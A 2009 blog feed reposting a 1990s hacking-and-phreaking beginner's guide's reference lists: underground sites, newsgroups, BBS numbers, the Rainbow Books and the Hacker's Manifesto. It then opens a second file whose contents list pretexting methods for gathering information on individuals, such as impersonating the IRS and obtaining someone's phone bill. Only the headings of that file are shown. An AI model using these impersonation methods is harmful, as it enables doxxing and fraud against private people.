Hacking and phreaking Gopher sites&lt;br /&gt;  H. Hacking and phreaking Ftp sites&lt;br /&gt;  I. Hacking and phreaking BBS's&lt;br /&gt;  J. Cool hackers and phreakers&lt;br /&gt;  K. Hacker's Manifesto&lt;br /&gt;  L. Happy hacking!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;III. REFERENCE&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A. Hacking and phreaking WWW. sites&lt;br /&gt;    &lt;br /&gt;&lt;br /&gt; Here is a list of some World Wide Web sites that contain hacking, phreaking, computer, virus, carding, security, etc. material:&lt;br /&gt;&lt;br /&gt;Site Address:&lt;br /&gt;&lt;br /&gt;http://www.outerlimits.net/lordsome/index.html (Hacker's Layer)&lt;br /&gt;http://web2.airmail.net/km/hfiles/free.htm     (Hacker's Hideout)&lt;br /&gt;http://resudox.net/bio/novell.html&lt;br /&gt;http://www.louisville.edu/wrbake01/hack2.html&lt;br /&gt;http://www.intersurf.com/~materva/files.html&lt;br /&gt;http://hightop.nrl.navy.mil/rainbow.html&lt;br /&gt;http://www.rit.edu/~jmb8902/hacking.html&lt;br /&gt;http://www.spatz.com/pecos/index.html&lt;br /&gt;http://pages.prodigy.com/FL/dtgz94a/files2.html&lt;br /&gt;http://www.2600.com     (alt.2600)&lt;br /&gt;http://att.net/dir800&lt;br /&gt;http://draco.centerline.com:8080/~franl/crypto.html&lt;br /&gt;http://everest.cs.ucdavis.edu/Security.html&lt;br /&gt;http://ice-www.larc.nasa.gov/WWW/security.html&lt;br /&gt;http://lOpht.com      (lOpht)&lt;br /&gt;http://lOpht.com/~oblivion/IIRG.html&lt;br /&gt;http://underground.org&lt;br /&gt;http://www.alw.nih.gov/WWW/security.html&lt;br /&gt;http://www.aspentec.com/~frzmtdb/fun/hacker.html&lt;br /&gt;http://www.cis.ohi-state.edu/hypertext/faq/usenet/alt-2600-faq/faq.html&lt;br /&gt;http://www.cs.tufts.ed/~mcable/cypher/alerts/alerts.html&lt;br /&gt;http://www.engin.umich.edu/~jgotts/underground/boxes.html&lt;br /&gt;http://www.etext.org/Zines&lt;br /&gt;http://www.inderect.com/www/johnk/&lt;br /&gt;http://www.mgmua.com/hackers/index.html&lt;br /&gt;http://www.paranoia.com/mthreat&lt;br /&gt;http://www.paranoia.com/astrostar/fringe.html&lt;br /&gt;http://www.umcc.umich.edu/~doug/virus-faq.html&lt;br /&gt;http://www.wired.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;B. Good hacking and phreaking text files&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; All of these files are available by download from the Internet.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;File Name:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A Novice's Guide To Hacking&lt;br /&gt;&lt;br /&gt;Alt.2600 Hack Faq&lt;br /&gt;&lt;br /&gt;The Hacker's Handbook&lt;br /&gt;&lt;br /&gt;The Official Phreaker's Manual&lt;br /&gt;&lt;br /&gt;Rainbow Books (Listed in Section D.)&lt;br /&gt;&lt;br /&gt;The Hacker Crackdown&lt;br /&gt;&lt;br /&gt;Computer Hackers: Rebels With A Cause&lt;br /&gt;&lt;br /&gt;The Legion Of Doom Technical Journals&lt;br /&gt;&lt;br /&gt;The Ultimate Beginner's Guide To Hacking And Phreaking (Of course!)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C. Hacking and phreaking Newsgroups&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;alt.2600&lt;br /&gt;alt.2600.hope.tech&lt;br /&gt;alt.cellular&lt;br /&gt;alt.cellular-phone-tech&lt;br /&gt;alt.comp.virus&lt;br /&gt;alt.cracks&lt;br /&gt;alt.cyberpunk&lt;br /&gt;alt.cyberspace&lt;br /&gt;alt.dcom.telecom&lt;br /&gt;alt.fan.lewiz&lt;br /&gt;alt.hackers&lt;br /&gt;alt.hackintosh&lt;br /&gt;alt.hackers.malicious&lt;br /&gt;alt.security&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;D. Rainbow Books&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; The Rainbow Books are a series of government evaluations on various things related to computer system security. You can get all of the existing Rainbow Books free and if you ask to be put on their mailing list you will get each new one as it comes out. Just write to the address or call the number below:&lt;br /&gt;&lt;br /&gt;Infosec Awareness Division&lt;br /&gt;ATTN: x711/IAOC&lt;br /&gt;Fort George G. Meade, MD 20755-6000&lt;br /&gt;&lt;br /&gt;or call:&lt;br /&gt;(410)766-8729&lt;br /&gt;&lt;br /&gt; &lt;br /&gt; Here is the list of all the Rainbow Books and their descriptions:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Color:    Description:&lt;br /&gt;&lt;br /&gt;Orange 1    D.O.D. Trusted Computer Systems&lt;br /&gt;&lt;br /&gt;Green     D.O.D. Password Management&lt;br /&gt;&lt;br /&gt;Yellow    Computer Security Requirements&lt;br /&gt;&lt;br /&gt;Yellow 2    Computer Security Requirements&lt;br /&gt;&lt;br /&gt;Tan     Understanding Audit In Trusted Systems&lt;br /&gt;&lt;br /&gt;Bright Blue    Trusted Product Evaluation&lt;br /&gt;&lt;br /&gt;Neon Orange    Understanding Discretionary Access&lt;br /&gt;&lt;br /&gt;Teal Green    Glossary Of Computer Terms&lt;br /&gt;&lt;br /&gt;Orange 2    Understanding Configurations&lt;br /&gt;&lt;br /&gt;Red     Interpretation Of Evaluation&lt;br /&gt;&lt;br /&gt;Burgundy    Understanding Design Documentation&lt;br /&gt;&lt;br /&gt;Dark Lavender   Understanding Trusted Distrobution&lt;br /&gt;&lt;br /&gt;Venice Blue    Computer Security Sub-Systems&lt;br /&gt;&lt;br /&gt;Aqua     Understanding Security Modeling&lt;br /&gt;&lt;br /&gt;Dark Red    Interpretations Of Environments&lt;br /&gt;&lt;br /&gt;Pink     Rating Maintenence Phase&lt;br /&gt;&lt;br /&gt;Purple    Formal Verification Systems&lt;br /&gt;&lt;br /&gt;Brown     Understanding Trusted Facilities&lt;br /&gt;&lt;br /&gt;Yellow-Green   Writing Trusted Facility Manuals&lt;br /&gt;&lt;br /&gt;Light Blue    Understanding Identification And      Authentication In Trusted Systems&lt;br /&gt;&lt;br /&gt;Blue     Product Evaluation Questionaire&lt;br /&gt;&lt;br /&gt;Gray     Selecting Access Control List&lt;br /&gt;&lt;br /&gt;Lavander    Data Base Management Interpretation&lt;br /&gt;&lt;br /&gt;Yellow 3    Understanding Trusted Recovery&lt;br /&gt;&lt;br /&gt;Bright Orange   Understanding Security Testing&lt;br /&gt;&lt;br /&gt;Purple 1    Guide To System Procurement&lt;br /&gt;&lt;br /&gt;Purple 2    Guide To System Procurement&lt;br /&gt;&lt;br /&gt;Purple 3    Guide To System Procurement&lt;br /&gt;&lt;br /&gt;Purple 4    Guide To System Procurement&lt;br /&gt;&lt;br /&gt;Green     Understanding Data Remanence&lt;br /&gt;&lt;br /&gt;Hot Peach    Writing Security Features&lt;br /&gt;&lt;br /&gt;Turquiose    Understanding Information Security &lt;br /&gt;    &lt;br /&gt;Violet    Controlled Access Protection &lt;br /&gt;&lt;br /&gt;Light Pink    Understanding Covert Channels &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;E. Cool hacking and phreaking magazines&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Phrack Magazine&lt;br /&gt;&lt;br /&gt;2600 Magazine&lt;br /&gt;&lt;br /&gt;Tap Magazine&lt;br /&gt;&lt;br /&gt;Phantasy Magazine&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;F. Hacking and phreaking movies    &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Movie:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hackers&lt;br /&gt;&lt;br /&gt;War Games&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;G. Hacking and phreaking Gopher sites&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Address:&lt;br /&gt;&lt;br /&gt;ba.com&lt;br /&gt;csrc.ncsl.nist.gov&lt;br /&gt;gopher.acm.org&lt;br /&gt;gopher.cpsr.org&lt;br /&gt;gopher.cs.uwm&lt;br /&gt;gopher.eff.org&lt;br /&gt;oss.net&lt;br /&gt;spy.org&lt;br /&gt;wiretap.spies.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;H. Hacking and phreaking Ftp sites&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Address:&lt;br /&gt;&lt;br /&gt;2600.com&lt;br /&gt;agl.gatech.edu/pub&lt;br /&gt;asylum.sf.ca.us&lt;br /&gt;clark.net/pub/jcase&lt;br /&gt;ftp.armory.com/pub/user/kmartind&lt;br /&gt;ftp.armory.com/pub/user/swallow&lt;br /&gt;ftp.fc.net/pub/defcon/BBEEP&lt;br /&gt;ftp.fc.net/pub/phrack&lt;br /&gt;ftp.giga.or.at/pub/hacker&lt;br /&gt;ftp.lava.net/users/oracle&lt;br /&gt;ftp.microserve.net/ppp-pop/strata/mac&lt;br /&gt;ftp.near.net/security/archives/phrack&lt;br /&gt;ftp.netcom.com/pub/br/bradelym&lt;br /&gt;ftp.netcom.com/pub/daemon9&lt;br /&gt;ftp.netcom.com/pub/zz/zzyzx&lt;br /&gt;ftp.primenet.com/users/k/kludge&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I. Hacking and phreaking BBS's&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; BBS's are Bulletin Board Systems on which hackers and phreakers can post messages to each other.&lt;br /&gt; Here is a list of some BBS's that I know of. If you know of any other BBS's, please E-Mail me via the A.S.H. E-Mail address. Also, Please note that some of these may be old and not running.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Area Code:  Phone Number:   Name:&lt;br /&gt;&lt;br /&gt;203   832-8441    Rune Stone&lt;br /&gt;210   493-9975    The Truth Sayer's Domain&lt;br /&gt;303   343-4053    Hacker's Haven&lt;br /&gt;315   656-5135    Independent Nation&lt;br /&gt;315   656-5135    UtOPiA           617   855-2923    Maas-Neotek&lt;br /&gt;708   676-9855    Apocalypse 2000&lt;br /&gt;713   579-2276    KOdE AbOdE&lt;br /&gt;806   747-0802    Static Line&lt;br /&gt;908   526-4384    Area 51&lt;br /&gt;502   499-8933    Blitzkrieg&lt;br /&gt;510   935-5845    ...Screaming Electron&lt;br /&gt;408   747-0778    The Shrine&lt;br /&gt;708   459-7267    The Hell Pit&lt;br /&gt;415   345-2134    Castle Brass&lt;br /&gt;415   697-1320    7 Gates Of Hell &lt;br /&gt;&lt;br /&gt;J. Cool hackers and phreakers&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Yes there are many, many, cool hackers and phreakers out there, but these are some that &lt;br /&gt;helped me to get this file out on the Internet. I did not list a few people because I only&lt;br /&gt;knew their real name, and I don't want to use their real name without their permission.&lt;br /&gt;&lt;br /&gt;Handle:     &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Silicon Toad&lt;br /&gt;&lt;br /&gt;Logik Bomb/Net Assasin&lt;br /&gt;&lt;br /&gt;oleBuzzard   &lt;br /&gt;&lt;br /&gt;Lord Somer&lt;br /&gt;&lt;br /&gt;Weezel&lt;br /&gt;&lt;br /&gt; &lt;br /&gt; Thanks for your help guys.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;K. Hacker's Manifesto&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; "This is our world now...the world of the electron and the switch, the beauty of the baud.&lt;br /&gt;We make use of a service already existing without paying for what could be dirt cheep if it &lt;br /&gt;wasn't run by profiteering gluttons, and you call us criminals. We explore...and you call us &lt;br /&gt;criminals. We exist without skin color, without nationality, without religious bias...and you &lt;br /&gt;call us criminals. You build atomic bombs, wage wars, murder, cheat, and lie to us and try to &lt;br /&gt;make us believe it is for our own good, yet we're the criminals.&lt;br /&gt; Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by &lt;br /&gt;what they say and think, not what they look like. My crime is that of outsmarting you, something &lt;br /&gt;that you will never forgive me for. I am a hacker and this is my manifesto. You may stop this &lt;br /&gt;individual, but you can't stop us all...after all, we're all alike."&lt;br /&gt;&lt;br /&gt;    +++The Mentor+++&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;K. Happy hacking!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Be careful and have fun. Remember to keep your eye out for the next volume of &lt;br /&gt;      The Ultimate Beginner's Guide To Hacking And Phreaking and the Legion Of the Apocalypse &lt;br /&gt;      W.W.W. page. Oh, and keep looking for our on-line magazine, too, it should be coming out &lt;br /&gt;      soon. Well, I hope you enjoyed the file and found it informative. I also hope that I &lt;br /&gt;      helped get you started in hacking and phreaking.&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7728576687682840661-5487201594743966266?l=warung-rumpi-ebook.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/5487201594743966266/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/ii.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/5487201594743966266'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/5487201594743966266'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/ii.html' title=''/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-4904747283703541610</id><published>2009-05-27T13:44:00.001-07:00</published><updated>2009-05-27T13:44:53.098-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>GetInfo</title><content type='html'>&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Œ020ÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕ020æ&lt;br /&gt;&lt;br /&gt;This file will contain just about every way there is that I know of and have&lt;br /&gt;used to gather information on an individual. Also included throughout the&lt;br /&gt;file are samples of conversations you would use to get what you want. Most&lt;br /&gt;methods I've outlined here are completely annonymous and over the phone.&lt;br /&gt;&lt;br /&gt;                          TABLE OF CONTENTS:&lt;br /&gt;                          -----------------&lt;br /&gt;&lt;br /&gt;         1.  Residential Billing Office&lt;br /&gt;         2.  Finding Out Info With Address (Library Methods)&lt;br /&gt;         3.  Using Radio Shack as a CNA&lt;br /&gt;         4.  Pretend To Be An Ameritech Recording&lt;br /&gt;         5.  Pretend To Be A Manager&lt;br /&gt;         6.  Become An Activist&lt;br /&gt;         7.  Answering Machine Hacking&lt;br /&gt;         8.  Impersonating The IRS&lt;br /&gt;         9.  Getting Copies Of Their Phone Bill
